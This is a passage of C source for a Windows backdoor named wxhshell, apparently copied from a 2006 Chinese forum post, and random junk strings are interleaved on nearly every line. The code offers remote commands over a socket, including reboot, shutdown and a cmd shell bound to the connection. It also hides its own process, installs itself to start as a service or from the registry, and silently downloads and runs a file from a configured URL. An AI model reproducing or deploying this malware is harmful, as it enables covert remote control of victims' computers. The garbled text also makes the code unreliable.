  // 帮助 Hc'Pp{| X  
  case '?': { b]b>i]n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y:98}gW`n  
    break; K7`6G[RMb  
  } 0#OyT'~V%  
  // 安装 U.,S.WP+d  
  case 'i': { E>s+"y  
    if(Install()) x3&gB`j-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3bWGWI  
    else 7ivo Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9)n<r  
    break; W"Y)a|rG%  
    } c+3`hVV  
  // 卸载 TiI/I`A  
  case 'r': { 4+q,[m-$(  
    if(Uninstall()) #4mRMsW5"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cd)g8<  
    else 3GF67]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQvTir*e  
    break; pL1ABvBB  
    } +"-l~`+<es  
  // 显示 wxhshell 所在路径 ]0*aE  
  case 'p': { G/p\MzDko  
    char svExeFile[MAX_PATH]; GP c B(  
    strcpy(svExeFile,"\n\r"); kMCP .D45;  
      strcat(svExeFile,ExeFile); */h(4Hz  
        send(wsh,svExeFile,strlen(svExeFile),0); $B-/>Rz  
    break; ISC>]`  
    } SX"|~Pi(  
  // 重启 T;(,9>Qsu  
  case 'b': { V\zcv@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pRV.\*:c  
    if(Boot(REBOOT)) \JM6zR^Ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %>Gb]dv?  
    else { }{N#JTmjB#  
    closesocket(wsh); ;S U<T^a  
    ExitThread(0); "'[M~Js  
    } bs|gQZG  
    break; !6-t_S  
    } ]7_>l>  
  // 关机 $a~  
  case 'd': { P1[.[q/-e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  #B~ ;j5  
    if(Boot(SHUTDOWN)) W,[ RB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(4!x$,Z5  
    else { |iUF3s|?  
    closesocket(wsh); L;opQ~g  
    ExitThread(0); ra*|HcLD  
    } 6<W^T9}v@/  
    break; h>!h|Ma  
    } :epBd3f  
  // 获取shell A x8>  
  case 's': { >I@&"&d  
    CmdShell(wsh); e">&B]#}  
    closesocket(wsh); ]\fHc"/  
    ExitThread(0); pP.`+vPi  
    break; (9]1p;  
  } $O\m~r4  
  // 退出 ThX3@o  
  case 'x': { 9ad)=3A&L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m#BXxS#B<_  
    CloseIt(wsh); =Ya^PAj '}  
    break; w&H>`l06  
    } NE#`ZUr3  
  // 离开 #9(+)~irz`  
  case 'q': { fGV'l__\\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &I-:=ir  
    closesocket(wsh); 0"e["q{|  
    WSACleanup(); =M?+KbTJ3  
    exit(1); b)IQa,enH  
    break; 8g8eY pG  
        } %TI3Eb  
  } jX4$PfOhR  
  } ^!^M Gzu  
-sv%A7i  
  // 提示信息 r jn:E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Caj H;K\  
} !4cCq_  
  } Hx+r9w  
olQP>sa  
  return; A\S=>[ar-  
} r(wf>w3  
. h)VR 5?j  
// shell模块句柄 bJPKe]spJ=  
int CmdShell(SOCKET sock) ih)\P0wed  
{ 2|?U%YrHWs  
STARTUPINFO si; <=|^\r !}&  
ZeroMemory(&si,sizeof(si)); g \S6>LG!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J;XO1}9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `&x>2FJ  
PROCESS_INFORMATION ProcessInfo; 3>3t(M |  
char cmdline[]="cmd"; :-59~8&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3-{WFnA  
  return 0; ~h<T0Zc  
} xr.;B`T0\'  
vO?sHh  
// 自身启动模式 93Gj#Mk  
int StartFromService(void) m==DBh  
{ 1Bs  t|  
typedef struct ~b *|V  
{ uUp>N^mmVH  
  DWORD ExitStatus; ]Rf$&7`g{  
  DWORD PebBaseAddress; /AX)n:,  
  DWORD AffinityMask; `;G@qp:A  
  DWORD BasePriority; }t(5n$go6  
  ULONG UniqueProcessId; =_E$* }  
  ULONG InheritedFromUniqueProcessId; J s33S)  
}   PROCESS_BASIC_INFORMATION; kn$SG  
lhE]KdE3  
PROCNTQSIP NtQueryInformationProcess; &N7q 9t  
8rJf2zL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pdN8 hJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iw] ylp  
$pPc}M[h  
  HANDLE             hProcess; Xeja\5zB  
  PROCESS_BASIC_INFORMATION pbi; \{*`-P v  
OP(om$xm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~|~2B$JeV  
  if(NULL == hInst ) return 0; S h5m+>7K  
/3Y"F"`M.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,3G B9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6L~5qbQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x^`P[>  
&-IkM%_A9  
  if (!NtQueryInformationProcess) return 0; m(xyEU  
NP\/9 8|1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1'&HmBfcb  
  if(!hProcess) return 0; ze8MFz'm  
;l `(1Q/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Ph8 ?  
2S@Cj{R(  
  CloseHandle(hProcess); 6m(+X M S  
#K-O<:s=y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W^,p2  
if(hProcess==NULL) return 0; +4IaX1.  
5 r<cna  
HMODULE hMod; 8v^AVg  
char procName[255]; }*P;kV  
unsigned long cbNeeded; 0LHge7482  
|ns9ziTDI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cw.DLg  
]xV2= !J  
  CloseHandle(hProcess); xJ\sm8  
<&1hJ)O  
if(strstr(procName,"services")) return 1; // 以服务启动 Hb$wawy<  
)q{e L$  
  return 0; // 注册表启动 @, z4{B  
} '<C#"2  
bHs},i6  
// 主模块 2+YM .Zl  
int StartWxhshell(LPSTR lpCmdLine) ]>(pQD  
{ Ao9=TC'v$'  
  SOCKET wsl; TPKm>5g  
BOOL val=TRUE; G>2: WQ/  
  int port=0; ~05(92bK  
  struct sockaddr_in door; ]A_A4=[w  
%SMP)4Y/R  
  if(wscfg.ws_autoins) Install(); Pz'Z n  
Xr|e%]!**  
port=atoi(lpCmdLine); y2x)<.cDP  
v`"BXSmp{  
if(port<=0) port=wscfg.ws_port; !xC IvKW  
R|7_iMIZ  
  WSADATA data; _~b]/]|z#N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N!af1zj  
7lQ:}&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `hl1R3nBM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JZrZDW>M  
  door.sin_family = AF_INET; ;MKfssG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lJ4&kF=t  
  door.sin_port = htons(port); FPuF1@K  
4d @ (>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Si[xyG6=  
closesocket(wsl); 6:Zd,N=  
return 1; nTXM/  
} P/~kX_  
'y:+w{I2o  
  if(listen(wsl,2) == INVALID_SOCKET) { [YQ` `  
closesocket(wsl); ^Ea^t.c}_  
return 1; !p e!Z-,  
} %-, -:e  
  Wxhshell(wsl); m"8Gh `Fo  
  WSACleanup(); x5nw/''[2  
e^Lt{/  
return 0; pr"~W8  
8G p%Q  
} dI9u: -  
dpcFS0  
// 以NT服务方式启动 0RGSv!w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f{u3RCfX~2  
{ &H@OLyC  
DWORD   status = 0; d"4J)+q  
  DWORD   specificError = 0xfffffff; oSqkAAGz\  
73d7'Fw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `!iVMTp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G~Mxh,aD$>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .R>4'#8q  
  serviceStatus.dwWin32ExitCode     = 0; IgU65p  
  serviceStatus.dwServiceSpecificExitCode = 0; xs3t~o3y  
  serviceStatus.dwCheckPoint       = 0; ZzV%+n7<Vx  
  serviceStatus.dwWaitHint       = 0; :f58JLX  
M%Dv-D{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qHQ#^jH  
  if (hServiceStatusHandle==0) return; = ^A/&[&31  
z>./lu\  
status = GetLastError(); +oMe\wYR$r  
  if (status!=NO_ERROR) LTc= D  
{ XDrNc!XN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4^rO K  
    serviceStatus.dwCheckPoint       = 0; !9JK95;  
    serviceStatus.dwWaitHint       = 0; nd1%txIsr  
    serviceStatus.dwWin32ExitCode     = status; ZSg["`  
    serviceStatus.dwServiceSpecificExitCode = specificError; `(7HFq<N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cu V}<3&  
    return; /5c;,.hm1R  
  } 34\:1z+s M  
,k5b,}tN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q:~>$5Em5  
  serviceStatus.dwCheckPoint       = 0; 9&uWj'%ia  
  serviceStatus.dwWaitHint       = 0; VY=c_Gl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LxC"j1wfl  
} !F&Ss|(}  
d;10[8:5=  
// 处理NT服务事件,比如:启动、停止 ]ZOzqh_0C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &7\q1X&Rr  
{ }TS4D={1  
switch(fdwControl) HC*V\vz  
{ e+5]l>3)f  
case SERVICE_CONTROL_STOP: E1e#E3Yq}s  
  serviceStatus.dwWin32ExitCode = 0; h5?yrti  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -K K)}I`  
  serviceStatus.dwCheckPoint   = 0; L:g!f  
  serviceStatus.dwWaitHint     = 0; ^SouA[  
  { m pWmExQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IT u6m<V  
  } aI6fPQe  
  return; &91U(Go  
case SERVICE_CONTROL_PAUSE: 'y?(s+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )./%/ _*K  
  break; IW.~I,!x  
case SERVICE_CONTROL_CONTINUE: /Af:{|'$%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q! +?  
  break; B>CG/]  
case SERVICE_CONTROL_INTERROGATE: |oSx*Gh  
  break; ^=nJ,-(h_  
}; z#8d\X/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (bIg6_U7\  
} 94umk*ib  
6}YWM]c%  
// 标准应用程序主函数 =U6%Wdth  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BTwLx-p9t  
{ $ePBw~yu  
ZX0ZN2 ]  
// 获取操作系统版本 i>n.r_!E  
OsIsNt=GetOsVer(); LCrE1Q%VP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HeagT(rN'  
'Jb6CR n  
  // 从命令行安装 !H`Q^Xf}  
  if(strpbrk(lpCmdLine,"iI")) Install(); qYHAXc}$  
=|lKB;  
  // 下载执行文件 OIK14D:  
if(wscfg.ws_downexe) { AHq;6cG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R6ynL([xh  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;* vVucx  
} 0W|}5(C  
G:f\wK[  
if(!OsIsNt) { (o/HLmr@Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 x~Eg ax  
HideProc(); =v4;t'_^  
StartWxhshell(lpCmdLine); qW57h8M  
} mJ=3faM  
else yv:8=.r}M  
  if(StartFromService()) <MhjvHg  
  // 以服务方式启动 i,Yq oe`  
  StartServiceCtrlDispatcher(DispatchTable); 6~KtT{MYQ  
else gO*:< B g  
  // 普通方式启动 CKShz]1  
  StartWxhshell(lpCmdLine); lP>}9^7I!  
+~O 0e-d  
return 0; mC P*v-  
}
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只看该作者 1 发表于: 2006-10-10
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